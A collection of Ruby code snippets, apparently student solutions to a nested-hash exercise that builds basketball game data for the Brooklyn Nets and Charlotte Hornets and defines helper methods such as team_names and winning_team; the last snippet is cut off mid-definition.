"def game_hash \n {\n :home => {:team_name =>\"Brooklyn Nets\", :colors =>[\"Black\", \"White\"],:players =>[\n \n {:player_name => \"Alan Anderson\", :number => 0,:shoe => 16, :points => 22, :rebounds => 12, :assists => 12, :steals => 3, :blocks => 1, :slam_dunks => 1},\n \n {:player_name => \"Reggie Evans\", :number => 30,:shoe => 14, :points => 12, :rebounds => 12, :assists => 12, :steals => 12, :blocks => 12, :slam_dunks => 7},\n \n {:player_name => \"Brook Lopez\", :number => 11, :shoe => 17, :points => 17, :rebounds => 19, :assists => 10, :steals => 3, :blocks => 1, :slam_dunks => 15}, \n \n {:player_name => \"Mason Plumlee\", :number => 1, :shoe => 19, :points => 26, :rebounds => 11, :assists =>6, :steals =>3, :blocks => 8, :slam_dunks => 5},\n \n {:player_name => \"Jason Terry\", :number =>31 , :shoe =>15, :points =>19, :rebounds => 2, :assists =>2, :steals =>4, :blocks =>11, :slam_dunks =>1}]},\n \n \n \n :away => {:team_name =>\"Charlotte Hornets\", :colors => [\"Turquoise\", \"Purple\"], :players => [\n {:player_name => \"Jeff Adrien\", :number => 4, :shoe => 18, :points => 10, :rebounds => 1, :assists => 1, :steals => 2, :blocks => 7, :slam_dunks => 2 }, {:player_name => \"Bismack Biyombo\", :number => 0,:shoe => 16, :points => 12, :rebounds => 4, :assists => 7, :steals => 22, :blocks => 15, :slam_dunks => 10},{:player_name => \"DeSagna Diop\", :number => 2, :shoe => 14, :points => 24, :rebounds => 12, :assists => 12, :steals => 4, :blocks => 5, :slam_dunks => 5},{:player_name => \"Ben Gordon\", :number => 8, :shoe => 15, :points => 33, :rebounds => 3, :assists =>2, :steals =>1, :blocks => 1, :slam_dunks => 0},{:player_name => \"Kemba Walker\", :number =>33 , :shoe =>15, :points =>6, :rebounds => 12, :assists =>12, :steals =>7, :blocks =>5, :slam_dunks =>12\n }]}}\n \nend",
"def game_hash\n hash = {\n :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\",\"White\"],\n :players => {\n \"Alan Anderson\": {\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n \"Reggie Evans\": {\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n \"Brook Lopez\": {\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n \"Mason Plumlee\": {\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 12,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n \"Jason Terry\": {\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n }\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\",\"Purple\"],\n :players => {\n \"Jeff Adrien\": {\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n \"Bismak Biyombo\": {\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 7,\n :blocks => 15,\n :slam_dunks => 10\n },\n \"DeSagna Diop\": {\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n \"Ben Gordon\": {\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n \"Brendan Haywood\": {\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 22,\n :blocks => 5,\n :slam_dunks => 12\n }\n }\n }\n }\nend",
"def winning_team\n home_score = 0\n away_score = 0\n game_hash[:home][:players].keys.each do |name|\n home_score += game_hash[:home][:players][name][:points]\n end\n game_hash[:away][:players].keys.each do |name|\n away_score += game_hash[:away][:players][name][:points]\n end\n home_score > away_score ? game_hash[:home][:team_name] : game_hash[:away][:team_name]\nend",
"def game_hash\n {\n :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => [\n {\n :name => \"Alan Anderson\",\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n {\n :name => \"Reggie Evans\",\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n {\n :name => \"Brook Lopez\",\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n {\n :name => \"Mason Plumlee\",\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 11,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n {\n :name => \"Jason Terry\",\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n ]\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players => [\n {\n :name => \"Jeff Adrien\",\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n {\n :name => \"Bismack Biyombo\", \n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 22,\n :blocks => 15,\n :slam_dunks => 10\n },\n {\n :name => \"DeSagna Diop\", \n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n {\n :name => \"Ben Gordon\",\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n {\n :name => \"Kemba Walker\",\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 7,\n :blocks => 5,\n :slam_dunks => 12\n }\n ]\n }\n}\nend",
"def player_stats(player_name)\n player_stat = {}\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n team_data.each do |player_index|\n if player_index[:player_name] == player_name\n player_stat = player_index\n end\n end\n end\n end\n end\n end\n player_stat\nend",
"def game_hash\n hash = {\n :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => {\n \"Alan Anderson\" => {\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n \"Reggie Evans\" => {\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n \"Brook Lopez\" => {\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n \"Mason Plumlee\" => {\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 11,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n \"Jason Terry\" => {\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n }\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players => {\n \"Jeff Adrien\" => {\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n \"Bismack Biyombo\" => {\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 22,\n :blocks => 15,\n :slam_dunks => 10\n },\n \"DeSagna Diop\" => {\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n \"Ben Gordon\" => {\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n \"Kemba Walker\" => {\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 7,\n :blocks => 5,\n :slam_dunks => 12\n }\n }\n }\n }\nend",
"def game_hash\n {\n :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => {\n \"Alan Anderson\" => {:number => 0, :shoe => 16, :points => 22, :rebounds => 12, :assists => 12, :steals => 3, :blocks => 1, :slam_dunks => 1},\n \"Reggie Evans\" => {:number => 30, :shoe => 14, :points => 12, :rebounds => 12, :assists => 12, :steals => 12, :blocks => 12, :slam_dunks => 7},\n \"Brook Lopez\" => {:number => 11, :shoe => 17, :points => 17, :rebounds => 19, :assists => 10, :steals => 3, :blocks => 1, :slam_dunks => 15},\n \"Mason Plumlee\" => {:number => 1, :shoe => 19, :points => 26, :rebounds => 12, :assists => 6, :steals => 3, :blocks => 8, :slam_dunks => 5},\n \"Jason Terry\" => {:number => 31, :shoe => 15, :points => 19, :rebounds => 2, :assists => 2, :steals => 4, :blocks => 11, :slam_dunks => 1}\n }\n },\n\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players => {\n \"Jeff Adrien\" => {:number => 4, :shoe => 18, :points => 10, :rebounds => 1, :assists => 1, :steals => 2, :blocks => 7, :slam_dunks => 2},\n \"Bismak Biyombo\" => {:number => 0, :shoe => 16, :points => 12, :rebounds => 4, :assists => 7, :steals => 7, :blocks => 15, :slam_dunks => 10},\n \"DeSagna Diop\" => {:number => 2, :shoe => 14, :points => 24, :rebounds => 12, :assists => 12, :steals => 4, :blocks => 5, :slam_dunks => 5},\n \"Ben Gordon\" => {:number => 8, :shoe => 15, :points => 33, :rebounds => 3, :assists => 2, :steals => 1, :blocks => 1, :slam_dunks => 0},\n \"Brendan Haywood\" => {:number => 33, :shoe => 15, :points => 6, :rebounds => 12, :assists => 12, :steals => 22, :blocks => 5, :slam_dunks => 12}\n }\n }\n }\n\nend",
"def team_names\n # team_array = []\n # team_array.push(game_hash[:home][:team_name])\n # team_array.push(game_hash[:away][:team_name])\n # team_array\n game_hash.map do |location, team_data|\n team_data[:team_name]\n end\nend",
"def game_hash\n {\n :home => {\n :team_name => 'Brooklyn Nets',\n :colors => [\"Black\", \"White\"],\n :players => [\n {\n :name => \"Alan Anderson\",\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n {\n :name => \"Reggie Evans\",\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n }, \n {\n :name => \"Brook Lopez\",\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n {\n :name => \"Mason Plumlee\",\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 12,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5 \n },\n {\n :name => \"Jason Terry\",\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n ]\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players => [ \n {\n :name => \"Jeff Adrien\",\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n }, \n {\n :name => \"Bismak Biyombo\",\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 7,\n :blocks => 15,\n :slam_dunks => 10\n \n },\n {\n :name => \"DeSagna Diop\",\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n {\n :name => \"Ben Gordon\",\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n {\n :name => \"Brendan Haywood\",\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 22,\n :blocks => 5,\n :slam_dunks => 12\n },\n ] \n }\n }\nend",
"def game_hash\n{\n\t:home => {\n\t\t:team_name => \"Brooklyn Nets\",\n\t\t:colors => [\"Black\", \"White\"],\n\t\t:players => {\n\t\t\t\"Alan Anderson\" => {\n\t\t\t\t:number => 0,\n\t\t\t\t:shoe => 16,\n\t\t\t\t:points => 22,\n\t\t\t\t:rebounds => 12,\n\t\t\t\t:assists => 12,\n\t\t\t\t:steals => 3,\n\t\t\t\t:blocks => 1,\n\t\t\t\t:slam_dunks => 1\n\t\t\t},\n\t\t\t\"Reggie Evans\" => {\n\t\t\t\t:number => 30,\n\t\t\t\t:shoe => 14,\n\t\t\t\t:points => 12,\n\t\t\t\t:rebounds => 12,\n\t\t\t\t:assists => 12,\n\t\t\t\t:steals => 12,\n\t\t\t\t:blocks => 12,\n\t\t\t\t:slam_dunks => 7\n\t\t\t},\n\t\t\t\"Brook Lopez\" => {\n\t\t\t\t:number => 11,\n\t\t\t\t:shoe => 17,\n\t\t\t\t:points => 17,\n\t\t\t\t:rebounds => 19,\n\t\t\t\t:assists => 10,\n\t\t\t\t:steals => 3,\n\t\t\t\t:blocks => 1,\n\t\t\t\t:slam_dunks => 15\n\t\t\t},\n\t\t\t\"Mason Plumlee\" => {\n\t\t\t\t:number => 1,\n\t\t\t\t:shoe => 19,\n\t\t\t\t:points => 26,\n\t\t\t\t:rebounds => 12,\n\t\t\t\t:assists => 6,\n\t\t\t\t:steals => 3,\n\t\t\t\t:blocks => 8,\n\t\t\t\t:slam_dunks => 5\n\t\t\t},\n\t\t\t\"Jason Terry\" => {\n\t\t\t\t:number => 31,\n\t\t\t\t:shoe => 15,\n\t\t\t\t:points => 19,\n\t\t\t\t:rebounds => 2,\n\t\t\t\t:assists => 2,\n\t\t\t\t:steals => 4,\n\t\t\t\t:blocks => 11,\n\t\t\t\t:slam_dunks => 1\n\t\t\t}\n\t\t}\n\t},\n\t:away => {\n\t\t:team_name => \"Charlotte Hornets\",\n\t\t:colors => [\"Turquoise\", \"Purple\"],\n\t\t:players => {\n\t\t\t\"Jeff Adrien\" => {\n\t\t\t\t:number => 4,\n\t\t\t\t:shoe => 18,\n\t\t\t\t:points => 10,\n\t\t\t\t:rebounds => 1,\n\t\t\t\t:assists => 1,\n\t\t\t\t:steals => 2,\n\t\t\t\t:blocks => 7,\n\t\t\t\t:slam_dunks => 2\n\t\t\t},\n\t\t\t\"Bismack Biyombo\" => {\n\t\t\t\t:number => 0,\n\t\t\t\t:shoe => 16,\n\t\t\t\t:points => 12,\n\t\t\t\t:rebounds => 4,\n\t\t\t\t:assists => 7,\n\t\t\t\t:steals => 7,\n\t\t\t\t:blocks => 15,\n\t\t\t\t:slam_dunks => 10\n\t\t\t},\n\t\t\t\"DeSagna Diop\" => {\n\t\t\t\t:number => 2,\n\t\t\t\t:shoe => 14,\n\t\t\t\t:points => 24,\n\t\t\t\t:rebounds => 12,\n\t\t\t\t:assists => 12,\n\t\t\t\t:steals => 4,\n\t\t\t\t:blocks => 5,\n\t\t\t\t:slam_dunks => 5\n\t\t\t},\n\t\t\t\"Ben Gordon\" => {\n\t\t\t\t:number => 8,\n\t\t\t\t:shoe => 15,\n\t\t\t\t:points => 33,\n\t\t\t\t:rebounds => 3,\n\t\t\t\t:assists => 2,\n\t\t\t\t:steals => 1,\n\t\t\t\t:blocks => 1,\n\t\t\t\t:slam_dunks => 0\n\t\t\t},\n\t\t\t\"Brendan Haywood\" => {\n\t\t\t\t:number => 33,\n\t\t\t\t:shoe => 15,\n\t\t\t\t:points => 6,\n\t\t\t\t:rebounds => 12,\n\t\t\t\t:assists => 12,\n\t\t\t\t:steals => 22,\n\t\t\t\t:blocks => 5,\n\t\t\t\t:slam_dunks => 12\n\t\t\t}\n\t\t}\n\t}\n}\nend",
"def team_neighbors(v)\n Set.new neighbors(v).select { |p| p.color == v.color }\n end",
"def game_hash\n game_hash = {home:{team_name:\"Brooklyn Nets\", colors:[\"Black\", \"White\"], players:{\"Alan Anderson\"=>{number: 0, shoe: 16, points: 22, rebounds: 12, assists: 12, steals: 3, blocks: 1, slam_dunks: 1},\n \"Reggie Evans\"=>{number: 30, shoe: 14, points: 12, rebounds: 12, assists: 12, steals: 12, blocks: 12, slam_dunks: 7},\n \"Brook Lopez\"=>{number: 11, shoe: 17, points: 17, rebounds: 19, assists: 10, steals: 3, blocks: 1, slam_dunks: 15},\n \"Mason Plumlee\"=>{number: 1, shoe: 19, points: 26, rebounds: 12, assists: 6, steals: 3, blocks: 8, slam_dunks: 5},\n \"Jason Terry\"=>{number: 31, shoe: 15, points: 19, rebounds: 2, assists: 2, steals: 4, blocks: 11, slam_dunks: 1}}},\n away:{team_name:\"Charlotte Hornets\", colors:[\"Turquoise\", \"Purple\"], players:{\"Jeff Adrien\"=>{number: 4, shoe: 18, points: 10, rebounds: 1, assists: 1, steals: 2, blocks: 7, slam_dunks: 2},\n \"Bismak Biyombo\"=>{number: 0, shoe: 16, points: 12, rebounds: 4, assists: 7, steals: 7, blocks: 15, slam_dunks: 10},\n \"DeSagna Diop\"=>{number: 2, shoe: 14, points: 24, rebounds: 12, assists: 12, steals: 4, blocks: 5, slam_dunks: 5},\n \"Ben Gordon\"=>{number: 8, shoe: 15, points: 33, rebounds: 3, assists: 2, steals: 1, blocks: 1, slam_dunks: 0},\n \"Brendan Haywood\"=>{number: 33, shoe: 15, points: 6, rebounds: 12, assists: 12, steals: 22, blocks: 5, slam_dunks: 12}}}}\n game_hash\nend",
"def team_names\n game_hash.map do |place, team|\n team[:team_name]\n end\nend",
"def team_names\n team_names = []\n \n game_hash.each do |key, value|\n team_names << value[:team_name]\n end\n team_names\nend",
"def team_names\n game_hash.collect do |team_key, team_value|\n team_value[:team_name]\n end\nend",
"def game_hash\n{\n :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => [\n {\n :player_name => \"Alan Anderson\",\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n {\n :player_name => \"Reggie Evans\",\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n {\n :player_name => \"Brook Lopez\",\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n {\n :player_name => \"Mason Plumlee\",\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 11,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n {\n :player_name => \"Jason Terry\",\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n ]\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players => [\n {\n :player_name => \"Jeff Adrien\",\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n {\n :player_name => \"Bismack Biyombo\",\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 22,\n :blocks => 15,\n :slam_dunks => 10\n },\n {\n :player_name => \"DeSagna Diop\",\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n {\n :player_name => \"Ben Gordon\",\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n {\n :player_name => \"Kemba Walker\",\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 7,\n :blocks => 5,\n :slam_dunks => 12\n }\n ]\n }\n}\nend",
"def player_numbers(teamname)\n outArray = []\n if game_hash[:home][:team_name] == teamname\n game_hash[:home][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\n\n elsif game_hash[:away][:team_name] == teamname\n game_hash[:away][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\nend\nend",
"def teams\n # find all my TeamColor relationship information\n # my_team_colors = TeamColor.all.select do |team_color|\n # team_color.color == self\n # end\n # from those relations, grab out the teams\n # Array of TeamColor instances\n self.team_colors.map do |team_color|\n team_color.team\n end\n # Array of Team instances\n end",
"def game_hash\n hash = {\n home: {\n team_name: \"Brooklyn Nets\" ,\n colors: ['Black', 'White'],\n players: {\n \"Alan Anderson\" => {\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n \"Reggie Evans\" => {\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n \"Brook Lopez\" => {\n number: 11,\n shoe: 17,\n points: 17,\n rebounds: 19,\n assists: 10,\n steals: 3,\n blocks: 1,\n slam_dunks: 15\n },\n \"Mason Plumlee\" => {\n number: 1,\n shoe: 19,\n points: 26,\n rebounds: 12,\n assists: 6,\n steals: 3,\n blocks: 8,\n slam_dunks: 5\n },\n \"Jason Terry\" => {\n number: 31,\n shoe: 15,\n points: 19,\n rebounds: 2,\n assists: 2,\n steals: 4,\n blocks: 11,\n slam_dunks: 1\n }\n }\n },\n\n away: {\n team_name: \"Charlotte Hornets\" ,\n colors: [\"Turquoise\", \"Purple\"],\n players: {\n \"Jeff Adrien\" => {\n number: 4,\n shoe: 18,\n points: 10,\n rebounds: 1,\n assists: 1,\n steals: 2,\n blocks: 7,\n slam_dunks: 2\n },\n \"Bismak Biyombo\" => {\n number: 0,\n shoe: 16,\n points: 12,\n rebounds: 4,\n assists: 7,\n steals: 7,\n blocks: 15,\n slam_dunks: 10\n },\n \"DeSagna Diop\" => {\n number: 2,\n shoe: 14,\n points: 24,\n rebounds: 12,\n assists: 12,\n steals: 4,\n blocks: 5,\n slam_dunks: 5\n },\n \"Ben Gordon\" => {\n number: 8,\n shoe: 15,\n points: 33,\n rebounds: 3,\n assists: 2,\n steals: 1,\n blocks: 1,\n slam_dunks: 0\n },\n \"Brendan Haywood\" => {\n number: 33,\n shoe: 15,\n points: 6,\n rebounds: 12,\n assists: 12,\n steals: 22,\n blocks: 5,\n slam_dunks: 12\n }\n }\n }\n}\nend",
"def home_team_players\n home_team_players = game_hash[:home][:players]\nend",
"def game_hash\n game_hash = { :home => { :team_name => \"Brooklyn Nets\", \n :colors => [\"Black\", \"White\"], \n :players => { :alan_anderson => { :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1 },\n :reggie_evans => { :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7 },\n :brook_lopez => { :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15 },\n :mason_plumlee => { :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 12,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5 },\n :jason_terry => { :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1 }\n }\n }, \n\n :away => { :team_name => \"Charlotte Hornets\", \n :colors => [\"Turquoise\", \"Purple\"], \n :players => { :jeff_adrien => { :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2 },\n :bismak_biyombo => { :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 7,\n :blocks => 15,\n :slam_dunks => 10 },\n :desagna_diop => { :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5 },\n :ben_gordon => { :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0 },\n :brendan_haywood => { :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 22,\n :blocks => 5,\n :slam_dunks => 12 }\n }\n } \n }\n return game_hash\nend",
"def game_hash\n {\n :home => {\n :team_name => \"Brooklyn Nets\", #is a separate line for each key, or one long list preferred for hash display?\n :colors => [\"Black\", \"White\"],\n :players => {\n \"Alan Anderson\" => {\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n \"Reggie Evans\" => {\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n \"Brook Lopez\" => {\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15 #damn.\n },\n \"Mason Plumlee\" => {\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 12,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n \"Jason Terry\" => {\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n }\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"], #wow I can't spell turquoise. Whats the etymology?\n :players => {\n \"Jeff Adrien\" => {\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n \"Bismak Biyombo\" => {\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 7,\n :blocks => 15,\n :slam_dunks => 10\n },\n \"DeSagna Diop\" => {\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n \"Ben Gordon\" => {\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n \"Brendan Haywood\" => {\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 22,\n :blocks => 5,\n :slam_dunks => 12\n }\n }\n }\n }\nend",
"def game_hash\n hash = {\n :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => {\n \"Alan Anderson\" => {\n :number => \"0\",\n :shoe => \"16\",\n :points => \"22\",\n :rebounds => \"12\",\n :assists => \"12\",\n :steals => \"3\",\n :blocks => \"1\",\n :slam_dunks => \"1\"\n },\n \"Reggie Evans\" => {\n :number => \"30\",\n :shoe => \"14\",\n :points => \"12\",\n :rebounds => \"12\",\n :assists => \"12\",\n :steals => \"12\",\n :blocks => \"12\",\n :slam_dunks => \"7\"\n },\n \"Brook Lopez\" => {\n :number => \"11\",\n :shoe => \"17\",\n :points => \"17\",\n :rebounds => \"19\",\n :assists => \"10\",\n :steals => \"3\",\n :blocks => \"1\",\n :slam_dunks => \"15\"\n },\n \"Mason Plumlee\" => {\n :number => \"1\",\n :shoe => \"19\",\n :points => \"26\",\n :rebounds => \"12\",\n :assists => \"6\",\n :steals => \"3\",\n :blocks => \"8\",\n :slam_dunks => \"5\"\n },\n \"Jason Terry\" => {\n :number => \"31\",\n :shoe => \"15\",\n :points => \"19\",\n :rebounds => \"2\",\n :assists => \"2\",\n :steals => \"4\",\n :blocks => \"11\",\n :slam_dunks => \"1\"\n }\n }\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n 